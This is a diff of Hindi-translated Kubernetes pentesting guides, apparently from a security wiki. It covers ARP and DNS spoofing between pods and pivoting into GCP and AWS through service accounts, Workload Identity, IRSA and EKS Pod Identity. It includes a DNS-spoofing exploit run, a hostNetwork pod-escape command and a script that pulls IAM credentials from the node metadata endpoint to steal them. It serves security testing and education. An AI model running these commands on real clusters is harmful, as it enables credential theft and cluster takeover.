Spoofing +## same Node में pods में ARP Spoofing -हमारा goal **ubuntu-victim से mysql तक की communication** को कम से कम **steal** करना है। +हमारा लक्ष्य **ubuntu-victim से mysql तक की कम से कम communication को steal करना** है। ### Scapy ```bash @@ -236,16 +252,16 @@ arpspoof -t 172.17.0.9 172.17.0.10 ``` ## DNS Spoofing -जैसा कि पहले ही बताया गया था, अगर आप **DNS server pod** के same node में किसी **pod को compromise** कर लेते हैं, तो आप **ARPSpoofing** के साथ **bridge** और **DNS** pod के बीच **MitM** कर सकते हैं और **सभी DNS responses** को **modify** कर सकते हैं। +जैसा कि पहले ही बताया गया था, यदि आप **DNS server pod** के उसी node में एक **pod compromise** करते हैं, तो आप **ARPSpoofing** के साथ **bridge** और **DNS** pod पर **MitM** कर सकते हैं और **सभी DNS responses** modify कर सकते हैं। -आपके पास इसे test करने के लिए एक बहुत अच्छा **tool** और **tutorial** है: [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/) +आपके पास इसे test करने के लिए एक बहुत अच्छा **tool** और **tutorial** है [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/) -हमारे scenario में, **attacker pod** में **tool** को **download** करें और `hosts` नाम की एक **file** बनाएं जिसमें आप जिन **domains** को **spoof** करना चाहते हैं, वे हों, जैसे: +हमारे scenario में, attacker pod में **tool** **download** करें और एक **file named `hosts`** बनाएं, जिसमें वे **domains** हों जिन्हें आप **spoof** करना चाहते हैं, जैसे कि: ``` cat hosts google.com. 1.1.1.1 ``` -ubuntu-victim machine पर attack perform करें: +ubuntu-victim मशीन पर attack करें: ``` python3 exploit.py --direct 172.17.0.10 [*] starting attack on direct mode to pod 172.17.0.10 @@ -263,14 +279,14 @@ dig google.com google.com. 1 IN A 1.1.1.1 ``` > [!NOTE] -> अगर आप अपना खुद का DNS spoofing script बनाने की कोशिश करते हैं, तो अगर आप **सिर्फ DNS response को modify** करते हैं तो वह **काम नहीं** करेगा, क्योंकि **response** में **src IP** **malicious** **pod** का IP address होगा और उसे **accepted** **नहीं** किया जाएगा.\ -> आपको एक **new DNS packet** generate करना होगा जिसमें **src IP** वही **DNS** का हो जहाँ victim ने DNS request भेजी थी (जो कुछ ऐसा होता है जैसे 172.16.0.2, 10.96.0.10 नहीं, क्योंकि वह K8s DNS service IP है और DNS server ip नहीं, इसके बारे में introduction में और जानकारी है). +> यदि आप अपना खुद का DNS spoofing script बनाने की कोशिश करते हैं, तो अगर आप **सिर्फ DNS response को modify** करते हैं, तो यह **काम नहीं** करेगा, क्योंकि **response** में **src IP** के रूप में **malicious** **pod** का IP address होगा और उसे **accept** नहीं किया जाएगा.\ +> आपको एक **new DNS packet** generate करना होगा, जिसमें **src IP** वही **DNS** का हो जहाँ victim ने DNS request भेजी थी (जो कुछ 172.16.0.2 जैसा होता है, 10.96.0.10 नहीं, वह K8s DNS service IP है और DNS server ip नहीं है, इसके बारे में introduction में और बताया गया है). -## coreDNS configmap के माध्यम से DNS Spoofing +## DNS Spoofing via coreDNS configmap -kube-system namespace में `coredns` configmap पर write permissions वाला user cluster के DNS responses को modify कर सकता है. +kube-system namespace में configmap `coredns` पर write permissions वाला user cluster के DNS responses को modify कर सकता है. -अगर NodeLocal DNSCache deployed है तो उसे भी review करें। यह आमतौर पर hostNetwork DaemonSet के रूप में चलता है और इसका अपना ConfigMap, logs, cache, और forwarding path होता है। CoreDNS change ही DNS behavior को प्रभावित या observe करने की एकमात्र जगह नहीं हो सकती। +यदि deployed है, तो NodeLocal DNSCache भी review करें। यह आमतौर पर hostNetwork DaemonSet के रूप में चलता है और इसका अपना ConfigMap, logs, cache, और forwarding path होता है। CoreDNS change ही DNS behavior को प्रभावित या observe करने की एकमात्र जगह नहीं हो सकती। इस attack के बारे में अधिक जानकारी यहाँ देखें: @@ -278,11 +294,11 @@ kube-system namespace में `coredns` configmap पर write permissions व abusing-roles-clusterroles-in-kubernetes/README.md {{/ref}} -## exposed kubernetes management services का abuse +## Abusing exposed kubernetes management services -Apache NiFi, Kubeflow, Argo Workflows, Weave Scope, और Kubernetes dashboard जैसी Services अक्सर internet पर या kubernetes network के भीतर exposed होती हैं। एक attacker जो **kubernetes को manage करने के लिए इस्तेमाल होने वाला कोई भी platform find** करके उस तक access कर ले, वह इसका abuse करके kubernetes API तक access पा सकता है और नए pods create करना, existing pods को modify करना, या उन्हें delete करना जैसी actions perform कर सकता है। +Apache NiFi, Kubeflow, Argo Workflows, Weave Scope, और Kubernetes dashboard जैसी services अक्सर internet पर या kubernetes network के भीतर exposed होती हैं। एक attacker जो **kubernetes manage करने के लिए इस्तेमाल होने वाले किसी भी platform को ढूंढकर उस तक access** कर ले, वह उसका abuse करके kubernetes API तक access प्राप्त कर सकता है और नए pods create करना, existing को modify करना, या उन्हें delete करना जैसी actions कर सकता है। -## kubernetes network policies की enumeration +## Enumerating kubernetes network policies Configured **networkpolicies** प्राप्त करें: ```bash @@ -302,8 +318,8 @@ kubectl get crd | grep -i policy ``` ## ट्रैफिक कैप्चर करना -टूल [**Mizu**](https://github.com/up9inc/mizu) एक simple-yet-powerful API **traffic viewer for Kubernetes** है जो आपको **microservices के बीच सभी API communication देखने** देता है, ताकि आप debug कर सकें और regressions troubleshoot कर सकें।\ -यह चयनित pods में agents install करेगा और उनकी traffic information एक web server में दिखाएगा। हालांकि, इसके लिए आपको high K8s permissions चाहिए होंगी (और यह बहुत stealthy नहीं है)। +टूल [**Mizu**](https://github.com/up9inc/mizu) एक simple-yet-powerful API **traffic viewer for Kubernetes** है जो आपको microservices के बीच सभी API communication **देखने** में सक्षम बनाता है, ताकि आप debug कर सकें और regressions को troubleshoot कर सकें।\ +यह selected pods में agents इंस्टॉल करेगा और उनकी traffic information इकट्ठा करेगा और उसे एक web server में दिखाएगा। हालांकि, इसके लिए आपको high K8s permissions चाहिए होंगी (और यह बहुत stealthy नहीं है)। ## References diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md index 76fc69b09..f1878d3c5 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md @@ -4,49 +4,49 @@ ## GCP -यदि आप GCP के अंदर एक k8s cluster चला रहे हैं, तो आप शायद चाहेंगे कि cluster के अंदर चलने वाला कोई application GCP तक कुछ access रखे। ऐसा करने के 2 सामान्य तरीके हैं: +यदि आप GCP के अंदर एक k8s cluster चला रहे हैं, तो आप शायद चाहेंगे कि cluster के अंदर चल रहा कुछ application GCP तक कुछ access रखे। ऐसा करने के 2 सामान्य तरीके हैं: ### GCP-SA keys को secret के रूप में mount करना -**किसी kubernetes application को GCP का access देने** का एक सामान्य तरीका है: +**kubernetes application को GCP तक access** देने का एक सामान्य तरीका है: - एक GCP Service Account बनाएं - उस पर desired permissions bind करें -- बनाए गए SA की एक json key डाउनलोड करें +- बने हुए SA की एक json key डाउनलोड करें - उसे pod के अंदर एक secret के रूप में mount करें -- GOOGLE_APPLICATION_CREDENTIALS environment variable सेट करें, जो उस path की ओर point करे जहाँ json है। +- GOOGLE_APPLICATION_CREDENTIALS environment variable को उस path की ओर set करें जहाँ json है। > [!WARNING] -> इसलिए, एक **attacker** के रूप में, अगर आप pod के अंदर किसी container को compromise करते हैं, तो आपको उस **env** **variable** और GCP credentials वाली **json** **files** की जांच करनी चाहिए। +> इसलिए, एक **attacker** के रूप में, यदि आप किसी pod के अंदर एक container compromise करते हैं, तो आपको GCP credentials वाले **env** **variable** और **json** **files** की जांच करनी चाहिए। -### GSA json को KSA secret से relate करना +### GSA json को KSA secret से जोड़ना -एक GSA को GKE cluser तक access देने का एक तरीका उन्हें इस तरह bind करना है: +GSA को GKE cluser तक access देने का एक तरीका उन्हें इस तरह bind करना है: - निम्न command का उपयोग करके अपने GKE cluster के same namespace में एक Kubernetes service account बनाएं: ```bash kubectl create serviceaccount ``` -- एक Kubernetes Secret बनाएं जिसमें GCP service account के credentials हों, जिसे आप GKE cluster तक access देना चाहते हैं। आप यह `gcloud` command-line tool का उपयोग करके कर सकते हैं, जैसा कि निम्नलिखित example में दिखाया गया है: +- एक Kubernetes Secret बनाएं जिसमें उस GCP service account के credentials हों जिन्हें आप GKE cluster तक access देना चाहते हैं। आप ऐसा `gcloud` command-line tool का उपयोग करके कर सकते हैं, जैसा कि निम्न उदाहरण में दिखाया गया है: ```bash gcloud iam service-accounts keys create .json \ --iam-account kubectl create secret generic \ --from-file=key.json=.json ``` -- निम्नलिखित command का उपयोग करके Kubernetes Secret को Kubernetes service account से bind करें: +- निम्नलिखित कमांड का उपयोग करके Kubernetes Secret को Kubernetes service account से bind करें: ```bash kubectl annotate serviceaccount \ iam.gke.io/gcp-service-account= ``` > [!WARNING] -> **दूसरे चरण** में **GSA की credentials को KSA के secret** के रूप में सेट किया गया था। फिर, अगर आप **उस secret को read** कर सकते हैं **inside** **GKE** cluster के, तो आप **उस GCP service account** तक **escalate** कर सकते हैं। +> **दूसरे चरण** में **GSA के credentials को KSA के secret** के रूप में सेट किया गया था। फिर, यदि आप **उस secret को पढ़** सकते हैं **GKE** cluster के **अंदर** से, तो आप **उस GCP service account** तक **escalate** कर सकते हैं। ### GKE Workload Identity Workload Identity के साथ, हम एक[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) को एक[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts) की तरह act करने के लिए configure कर सकते हैं। Kubernetes service account के साथ चल रहे Pods, Google Cloud APIs तक access करते समय automatically Google service account के रूप में authenticate होंगे। -इस behavior को enable करने के **पहले steps की series** है **GCP में Workload Identity को enable करना** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) और वह GCP SA create करना जिसे आप चाहते हैं कि k8s impersonate करे। +इस behavior को enable करने के लिए **पहली series of steps** है **GCP में Workload Identity को enable करना** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) और वह GCP SA create करना जिसे आप चाहते हैं कि k8s impersonate करे। - नए cluster पर **Enable Workload Identity** ```bash @@ -54,12 +54,12 @@ gcloud container clusters update \ --region=us-central1 \ --workload-pool=.svc.id.goog ``` -- **एक नया nodepool create/update करें** (Autopilot clusters को इसकी जरूरत नहीं होती) +- **एक नया nodepool Create/Update करें** (Autopilot clusters को इसकी जरूरत नहीं होती) ```bash # You could update instead of create gcloud container node-pools create --cluster= --workload-metadata=GKE_METADATA --region=us-central1 ``` -- K8s से GCP permissions वाले **GCP Service Account to impersonate** बनाएं: +- GCP permissions के साथ K8s से **GCP Service Account to impersonate** बनाएं: ```bash # Create SA called "gsa2ksa" gcloud iam service-accounts create gsa2ksa --project= @@ -69,7 +69,7 @@ gcloud projects add-iam-policy-binding \ --member "serviceAccount:gsa2ksa@.iam.gserviceaccount.com" \ --role "roles/iam.securityReviewer" ``` -- **cluster** से **connect** करें और उपयोग करने के लिए **service account** **create** करें +- **cluster** से **connect** करें और उपयोग के लिए **service account** **create** करें ```bash # Get k8s creds gcloud container clusters get-credentials --region=us-central1 @@ -80,7 +80,7 @@ kubectl create namespace testing # Create the KSA kubectl create serviceaccount ksa2gcp -n testing ``` -- **GSA को KSA के साथ bind करें** +- **GSA को KSA के साथ Bind करें** ```bash # Allow the KSA to access the GSA in GCP IAM gcloud iam service-accounts add-iam-policy-binding gsa2ksa@ [!WARNING] -> K8s के अंदर एक attacker के रूप में आपको **SAs** को **`iam.gke.io/gcp-service-account` annotation** के साथ **search** करना चाहिए, क्योंकि यह संकेत देता है कि SA GCP में कुछ access कर सकता है। एक और option होगा cluster में हर KSA का abuse करने की कोशिश करना और check करना कि उसके पास access है या नहीं।\ -> GCP से हमेशा bindings को enumerate करना interesting होता है और यह जानना कि **Kubernetes के अंदर SAs को आप कौन-सा access दे रहे हैं**। +> K8s के अंदर एक attacker के रूप में आपको **SAs** को **`iam.gke.io/gcp-service-account` annotation** के साथ **search** करना चाहिए, क्योंकि यह संकेत देता है कि SA GCP में कुछ access कर सकता है। दूसरा option यह होगा कि cluster के हर KSA का abuse करने की कोशिश करें और check करें कि उसके पास access है या नहीं।\ +> GCP से हमेशा bindings को enumerate करना interesting होता है और यह जानना कि आप Kubernetes के अंदर SAs को **कौन सा access** दे रहे हैं। -यह एक script है जो **looking** के लिए **annotation** को आसानी से **all the pods** definitions पर **iterate over** करने के लिए है: +यह एक script है जो सभी pod definitions के through आसानी से **iterate** करके उस **annotation** को **looking** करने के लिए है: ```bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do @@ -141,9 +141,9 @@ done | grep -B 1 "gcp-service-account" ### Kiam & Kube2IAM (IAM role for Pods) -Pods को IAM Roles देने का एक (outdated) तरीका एक [**Kiam**](https://github.com/uswitch/kiam) या एक [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server** का उपयोग करना है। Basically, आपको अपने cluster में एक **daemonset** चलाना होगा, जिसमें एक **kind of privileged IAM role** होगा। यह daemonset वही होगा जो इसे जरूरत वाले pods को IAM roles तक access देगा। +Pods को IAM Roles देने का एक (पुराना) तरीका है [**Kiam**](https://github.com/uswitch/kiam) या [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server** का उपयोग करना। मूल रूप से, आपको अपने cluster में एक **daemonset** चलाना होगा, जिसमें **kind of privileged IAM role** होगा। यह daemonset वही होगा जो जरूरत वाले pods को IAM roles तक access देगा। -सबसे पहले आपको configure करना होगा कि **namespace के अंदर किन roles तक access किया जा सकता है**, और आप यह namespace object के अंदर एक annotation के साथ करते हैं: +सबसे पहले आपको यह configure करना होगा कि **namespace के अंदर किन roles तक access किया जा सकता है**, और आप यह namespace object के अंदर एक annotation के साथ करते हैं: ```yaml:Kiam kind: Namespace metadata: @@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: | ["role-arn"] name: default ``` -एक बार namespace को उन IAM roles के साथ configure कर दिया जाए जो Pods के पास हो सकते हैं, तो आप **हर pod definition में वह role indicate कर सकते हैं जो आप चाहते हैं, कुछ इस तरह**: +एक बार namespace को उन IAM roles के साथ configure कर दिया जाए जो Pods के पास हो सकते हैं, तब आप **हर pod definition में जिस role को चाहते हैं उसे इस तरह indicate कर सकते हैं**: ```yaml:Kiam & Kube2iam kind: Pod metadata: @@ -171,12 +171,12 @@ annotations: iam.amazonaws.com/role: reportingdb-reader ``` > [!WARNING] -> एक attacker के रूप में, यदि आप pods या namespaces में ये **annotations** या चल रहा हुआ kiam/kube2iam server (संभवतः kube-system में) **find** करते हैं, तो आप उन हर **role** को **impersonate** कर सकते हैं जो पहले से **pods** द्वारा **used** हो रहा है, और भी अधिक (यदि आपके पास AWS account तक access है तो roles enumerate करें)। +> एक attacker के रूप में, अगर आप pods या namespaces में **ये annotations** पाते हैं या एक kiam/kube2iam server running (संभवतः kube-system में) मिलता है, तो आप **हर उस r**ole को impersonate कर सकते हैं जो पहले से **pods द्वारा used** है और उससे भी अधिक (अगर आपके पास AWS account access है तो roles enumerate करें). #### Create Pod with IAM Role > [!NOTE] -> बताने वाला IAM role उसी AWS account में होना चाहिए जिस में kiam/kube2iam role है, और उस role के पास उस तक access करने की क्षमता होनी चाहिए। +> बताई गई IAM role उसी AWS account में होनी चाहिए जिस account में kiam/kube2iam role है, और उस role को इसे access करने में सक्षम होना चाहिए. ```yaml echo 'apiVersion: v1 kind: Pod @@ -192,14 +192,14 @@ image: alpine command: ["/bin/sh"] args: ["-c", "sleep 100000"]' | kubectl apply -f - ``` -### IAM Role for K8s Service Accounts via OIDC +### OIDC के माध्यम से K8s Service Accounts के लिए IAM Role -यह **AWS द्वारा अनुशंसित तरीका** है। +यह **AWS द्वारा सुझाया गया तरीका** है। -1. सबसे पहले आपको [cluster के लिए एक OIDC provider बनाना होगा](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html)। -2. फिर आप उन permissions के साथ एक IAM role बनाते हैं जिनकी SA को आवश्यकता होगी। -3. [IAM role और SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) नाम के बीच एक trust relationship बनाएं (या namespace, जो उस namespace के सभी SAs को role तक access देता है)। _trust relationship मुख्यतः OIDC provider name, namespace name और SA name की जांच करेगा_। -4. अंत में, **role के ARN को दर्शाने वाला annotation के साथ एक SA बनाएं**, और उस SA के साथ चलने वाले pods को **role के token तक access** होगा। **token** एक file के अंदर **लिखा** जाता है और path **`AWS_WEB_IDENTITY_TOKEN_FILE`** में specified होता है (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) +1. सबसे पहले आपको [cluster के लिए एक OIDC provider create करना होगा](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html)। +2. फिर आप उन permissions के साथ एक IAM role create करते हैं जिनकी SA को जरूरत होगी। +3. IAM role और SA नाम (या namespace के names, जिससे role की access namespace के सभी SAs को मिलती है) के बीच [trust relationship create करें](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html)। _Trust relationship मुख्य रूप से OIDC provider name, namespace name और SA name check करेगा_। +4. आखिर में, **role के ARN को दर्शाने वाला annotation के साथ एक SA create करें**, और उस SA के साथ चलने वाले pods को **role के token तक access** मिलेगा। **token** एक file के अंदर **write** होता है और उसका path **`AWS_WEB_IDENTITY_TOKEN_FILE`** में specified होता है (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) ```bash # Create a service account with a role cat >my-service-account.yaml < [!WARNING] -> एक attacker के रूप में, अगर आप एक K8s cluster enumerate कर सकते हैं, तो **service accounts with that annotation** को **check** करें ताकि **AWS** तक **escalate** किया जा सके। ऐसा करने के लिए, बस **exec/create** करके एक **pod** उपयोग करें, जो किसी **IAM privileged service accounts** में से एक हो, और token चुरा लें। +> एक attacker के रूप में, अगर आप एक K8s cluster enumerate कर सकते हैं, तो **उस annotation वाले service accounts** को **AWS तक escalate** करने के लिए check करें। ऐसा करने के लिए, बस **exec/create** करके एक **pod** use करें, जिसमें IAM **privileged service accounts** में से कोई एक हो, और token steal करें। > -> इसके अलावा, अगर आप एक pod के अंदर हैं, तो **AWS_ROLE_ARN** और **AWS_WEB_IDENTITY_TOKEN** जैसे env variables **check** करें। +> इसके अलावा, अगर आप एक pod के अंदर हैं, तो **AWS_ROLE_ARN** और **AWS_WEB_IDENTITY_TOKEN** जैसे env variables check करें। > [!CAUTION] -> कभी-कभी किसी role की **Turst Policy** गलत तरीके से **configured** हो सकती है और expected service account को AssumeRole access देने के बजाय, यह उसे **all the service accounts** को दे देती है। इसलिए, अगर आप एक controlled service account पर annotation write करने में सक्षम हैं, तो आप उस role तक access कर सकते हैं। +> कभी-कभी किसी role की **Turst Policy** **गलत configured** हो सकती है और expected service account को AssumeRole access देने के बजाय, यह **सभी service accounts** को access दे देती है। इसलिए, अगर आप एक controlled service account पर annotation write करने में सक्षम हैं, तो आप उस role को access कर सकते हैं। > -> अधिक जानकारी के लिए **following page** **check** करें: +> **अधिक जानकारी के लिए निम्न पेज देखें**: {{#ref}} ../aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}} +### EKS Pod Identity + +EKS Pod Identity, AWS-managed का नया तरीका है IAM role को Kubernetes service account के साथ associate करने के लिए, बिना इस पर निर्भर हुए कि हर workload IRSA web identity token के साथ STS call करे। Cluster nodes पर EKS Pod Identity Agent चलाता है, EKS API pod identity associations store करता है, और selected pods में AWS SDKs agent द्वारा exposed container credentials provider path के through credentials obtain करते हैं। + +Kubernetes से, interesting evidence अभी भी service account और pod relationship ही है, लेकिन runtime signals IRSA से अलग हैं। Pods में केवल `AWS_WEB_IDENTITY_TOKEN_FILE` पर नहीं, बल्कि AWS container credential environment variables भी देखें: +```bash +kubectl get pods -A -o yaml | grep -nE 'AWS_CONTAINER_CREDENTIALS|AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE|AWS_ROLE_ARN|AWS_WEB_IDENTITY_TOKEN_FILE' +kubectl get serviceaccounts -A -o yaml | grep -nE 'eks.amazonaws.com|role-arn' +kubectl get ds -A | grep -i 'pod.identity\|eks-pod-identity' +``` +AWS से, associations को enumerate करें और फिर उन्हें Kubernetes namespaces और service accounts से map करें: +```bash +aws eks list-pod-identity-associations --cluster-name +aws eks describe-pod-identity-association \ +--cluster-name \ +--association-id +``` +एक associated pod के अंदर, मुख्य runtime indicators वे container credentials provider variables हैं जो EKS द्वारा inject किए गए हैं: +```bash +env | grep -E '^AWS_CONTAINER_(CREDENTIALS_FULL_URI|AUTHORIZATION_TOKEN_FILE)=' +ls -l /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/ 2>/dev/null +aws sts get-caller-identity +``` +स्थानीय credential endpoint आमतौर पर `http://169.254.170.23/v1/credentials` होता है और authorization token `pods.eks.amazonaws.com` audience के लिए एक projected service account token होता है। याद रखें कि AWS SDK credential-provider order फिर भी लागू होता है: अगर static environment credentials या shared credential files chain में पहले configured हैं, तो pod Pod Identity association के बजाय उन्हीं का उपयोग कर सकता है। + +Pod Identity roles सामान्यतः `sts:AssumeRole` और `sts:TagSession` के लिए `pods.eks.amazonaws.com` service principal पर trust करते हैं। `kubernetes-namespace`, `kubernetes-service-account`, और cluster tags जैसे request tags पर trust-policy conditions की समीक्षा करें, क्योंकि बहुत broad conditions एक reusable role को बहुत ज़्यादा service accounts के लिए उपलब्ध बना सकती हैं। Pod Identity temporary credentials में session tags भी जोड़ता है, और वे tags ABAC policies को drive कर सकते हैं, जैसे `${aws:PrincipalTag/kubernetes-namespace}` या `${aws:PrincipalTag/kubernetes-service-account}` के आधार पर resource access। + +cross-account access के लिए, एक Pod Identity association same-account role का उपयोग कर सकता है जो दूसरे account में target role तक chain करती है। ऐसे मामले में, दोनों layers की समीक्षा करें: EKS association role और target role trust/policy। Pod Identity session tags role chain के across transitive होते हैं, इसलिए वे यह साबित करने के लिए उपयोगी evidence हैं कि remote account तक किस cluster namespace और service account ने access किया। + +> [!WARNING] +> यदि आप ऐसे pods create या modify कर सकते हैं जो EKS Pod Identity association वाले service account का उपयोग करते हैं, तो test करें कि क्या वह pod useful AWS permissions प्राप्त करता है। यदि आप defend कर रहे हैं, तो नए pod identity associations, unexpected service account use, और उन roles से होने वाले AWS API calls पर alert करें जिन्हें केवल specific workloads द्वारा इस्तेमाल किया जाना चाहिए। + +### EKS governance guardrails + +AWS side से EKS review करते समय याद रखें कि IAM और AWS Organizations guardrails unsafe cluster configuration को deny कर सकते हैं, भले ही किसी principal के पास broad-looking EKS permissions हों। Recent EKS condition keys cluster settings जैसे public या private endpoint access, Kubernetes version, secrets-encryption KMS keys, deletion protection, control-plane scaling tier, और zonal shift configuration को cover करते हैं। इन keys का उपयोग IAM policies या Service Control Policies में account-wide cluster baselines enforce करने के लिए किया जा सकता है। + +यह attack impact और triage दोनों के लिए महत्वपूर्ण है। यदि कोई principal `eks:UpdateClusterConfig` call कर सकता है लेकिन एक SCP `eks:endpointPublicAccess` के through public endpoint enable करने से deny कर देता है, तो public API exposure claim करने के बजाय attempted risky action और उसे रोकने वाले guardrail की report करें। Defenders के लिए, denied EKS configuration changes के साथ-साथ successful changes पर भी alert करें, क्योंकि denied attempts compromised automation, stale admin roles, या कम protected account की ओर pivot से पहले reconnaissance को reveal कर सकते हैं। + +Useful references: + +- [Amazon EKS IAM condition keys](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonelastickubernetesservice.html) +- [AWS Organizations service control policies](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html) + ### Cluster में IAM Roles वाले Pods a SAs खोजें -यह एक script है जो आसानी से **all the pods and sas** definitions के through **iterate** करके उस **annotation** को **looking** करने के लिए है: +यह एक script है जो आसानी से **all the pods and sas** definitions के **through iterate** करके उस **annotation** को **look** करने के लिए: ```bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do @@ -255,26 +298,26 @@ done | grep -B 1 "amazonaws.com" ``` ### Node IAM Role to cluster-admin -पिछला section pods के साथ IAM Roles चुराने के बारे में था, लेकिन ध्यान दें कि K8s cluster का एक **Node** cloud के अंदर एक **instance** होने वाला है। इसका मतलब है कि Node के पास IAM role होने की बहुत अधिक संभावना है जिसे आप चुरा सकते हैं (_ध्यान दें कि आमतौर पर K8s cluster के सभी nodes के पास वही IAM role होगा, इसलिए हर node की जाँच करने की कोशिश करना शायद worth it न हो_)। +पिछला section pods के साथ IAM Roles चुराने के बारे में था, लेकिन ध्यान दें कि K8s cluster का एक **Node** cloud के अंदर एक **instance** होता है। इसका मतलब है कि Node के पास बहुत संभव है कि एक **IAM role** हो जिसे आप चुरा सकते हैं (_ध्यान दें कि आमतौर पर K8s cluster के सभी nodes के पास वही IAM role होगा, इसलिए हर node पर जांच करने की कोशिश करना शायद worth it न हो_). -node metadata endpoint तक पहुँचने के लिए आपको: -- एक pod में होना चाहिए और metadata endpoint को कम से कम 2 tcp hops के लिए configured होना चाहिए। यह सबसे common misconfiguration है क्योंकि आमतौर पर cluster में अलग-अलग pods को metadata endpoint तक access की जरूरत होगी ताकि चीज़ें break न हों, और कई companies बस cluster के सभी pods से metadata endpoint तक access allow करने का फैसला कर लेती हैं। -- `hostNetwork` enabled वाले pod में होना चाहिए। -- node से escape करके metadata endpoint को सीधे access करना चाहिए। +node metadata endpoint तक पहुंचने के लिए आपको: +- एक pod में होना होगा और metadata endpoint को कम-से-कम 2 tcp hops पर configured होना चाहिए। यह सबसे common misconfiguration है क्योंकि आमतौर पर cluster के अलग-अलग pods को metadata endpoint तक access चाहिए होता है ताकि सब कुछ break न हो, और कई companies बस cluster के सभी pods से metadata endpoint access allow करने का फैसला कर लेती हैं। +- `hostNetwork` enabled वाले pod में होना होगा। +- node तक escape करके metadata endpoint को directly access करना होगा। -(ध्यान दें कि metadata endpoint हमेशा की तरह 169.254.169.254 पर होता है)। +(ध्यान दें कि metadata endpoint हमेशा की तरह 169.254.169.254 पर है). -नए EKS environments में, यह मानने से पहले कि pods node instance profile तक पहुँच सकते हैं, node और cluster mode verify करें। Amazon Linux 2023 EKS optimized AMIs में IMDS hop limit default रूप से 1 होती है, और EKS Auto Mode `disablePodIMDS` को default रूप से enable करता है, इसलिए ordinary pods को node-role credentials नहीं मिलने चाहिए जब तक operator ने उन settings को बदला न हो या pod के पास `hostNetwork` या node compromise जैसी कोई अन्य node-level path न हो। Recommended pattern यह है कि pod access को node IMDS तक block किया जाए और workload AWS permissions के लिए IRSA या EKS Pod Identity का use किया जाए। +नए EKS environments में, यह मानने से पहले कि pods node instance profile तक पहुंच सकते हैं, node और cluster mode verify करें। Amazon Linux 2023 EKS optimized AMIs में default रूप से IMDS hop limit 1 होती है, और EKS Auto Mode default रूप से `disablePodIMDS` enable करता है, इसलिए ordinary pods को node-role credentials नहीं मिलने चाहिए जब तक operator ने उन settings को बदला न हो या pod के पास कोई और node-level path न हो जैसे `hostNetwork` या node compromise। Recommended pattern यह है कि pod access को node IMDS तक block किया जाए और workload AWS permissions के लिए IRSA या EKS Pod Identity का use किया जाए। -**node to escape** करने के लिए आप `hostNetwork` enabled के साथ एक pod run करने के लिए following command का use कर सकते हैं: +**node तक escape** करने के लिए आप `hostNetwork` enabled के साथ pod run करने हेतु निम्न command का उपयोग कर सकते हैं: ```bash kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}' ``` -### IAM Role Token चुराएँ +### IAM Role Token चुराएं -पहले हमने चर्चा की थी कि कैसे **IAM Roles को Pods से attach** किया जाए या फिर कैसे **Node से escape** करके उस IAM Role को चुराया जाए जो instance से attached है। +पहले हमने चर्चा की है कि कैसे **IAM Roles को Pods से attach** किया जाए या यहाँ तक कि कैसे **Node पर escape** करके उस IAM Role को **steal** किया जाए जो instance से attached है। -आप निम्नलिखित script का उपयोग करके अपने नए, मेहनत से हासिल किए गए **IAM role credentials** को **चुराने** के लिए कर सकते हैं: +आप निम्न script का उपयोग करके अपने नए मेहनत से हासिल किए गए **IAM role credentials** को **steal** कर सकते हैं: ```bash IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null) if [ "$IAM_ROLE_NAME" ]; then @@ -287,11 +330,11 @@ fi ``` ### Privesc to cluster-admin -सारांश में: अगर एक pod से **EKS Node IAM role** तक **access** करना संभव है, तो पूरे kubernetes cluster को **compromise** करना संभव है। +सारांश में: यदि किसी pod से **EKS Node IAM role** तक **access** करना संभव है, तो **पूरे kubernetes cluster** को **compromise** करना संभव है। -अधिक जानकारी के लिए [this post](https://blog.calif.io/p/privilege-escalation-in-eks) देखें। संक्षेप में, default IAM EKS role जो default रूप से EKS nodes को assigned होता है, उसे cluster के अंदर `system:node` role दिया जाता है। यह role बहुत interesting है, हालांकि kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) द्वारा सीमित है। +अधिक जानकारी के लिए [this post](https://blog.calif.io/p/privilege-escalation-in-eks) देखें। सारांश के रूप में, default IAM EKS role जो default रूप से EKS nodes को assigned होता है, उसे cluster के अंदर 